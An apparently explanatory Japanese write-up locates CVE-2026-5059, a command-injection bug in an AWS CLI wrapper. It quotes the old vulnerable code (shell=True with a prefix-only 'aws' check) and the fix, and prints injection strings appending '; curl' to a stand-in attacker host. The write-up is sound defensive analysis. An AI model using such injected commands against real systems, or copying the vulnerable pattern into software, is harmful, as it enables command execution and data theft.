CVE-2026-5059はコードのどこにあるのか? 脆弱性は、連携して動作する2つのファイルに存在します:
ファイル1: tools.py — 根本原因 旧バージョンでは、execute_piped_command()内でshell=Trueを使用していました: python# 旧・脆弱なコード process = subprocess.run( command, # ← シェルに渡される生の文字列 shell=True, # ← これが問題 ... ) shell=Trueの場合、OSシェルが完全な文字列を解釈し、;、&&、||、バッククォートを含むため、;以降はすべて別のコマンドとして実行されます。
ファイル2: security.py — 不完全なガード バリデータはコマンドがawsで始まることだけをチェックしていました: python# 旧・脆弱なコード def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← ここで停止、パイプ以降のチェックなし そのため、aws s3 ls ; curl http://attacker.com は検証を通過しました — awsで始まるため — その後、shell=Trueが両方の部分を実行しました。
現在のバージョン(v1.7.0)が異なる理由 今日の実際のコードを見ると、両方の問題は解消されています: python# cli_executor.pyの現在のコード cmd_parts = shlex.split(command) # リストに分割 subprocess.run(cmd_parts, shell=False) # リストベース、シェル解釈なし また、security.pyは完全に削除され、OSサンドボックス(Landlock/bwrap/Seatbelt)に置き換えられました。 ;は現在では無害です: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocessは';'をawsへのリテラル引数として受け取る → AWS CLIはそれを無視し、2番目のコマンドは実行されない
1行でのまとめ 脆弱なバージョン現在のv1.7.0実行shell=True + 文字列shell=False + リスト検証startswith("aws")のみOSレベルのサンドボックス;の処理シェルによって実行リテラルテキストとして扱われる CVEは旧バージョンに対して報告されました。ZDIは、ベンダーが報告を拒否したため、これを0-dayとして公開しました — しかし、CVEが公開される前に、アーキテクチャはすでにshell=Trueから移行していました。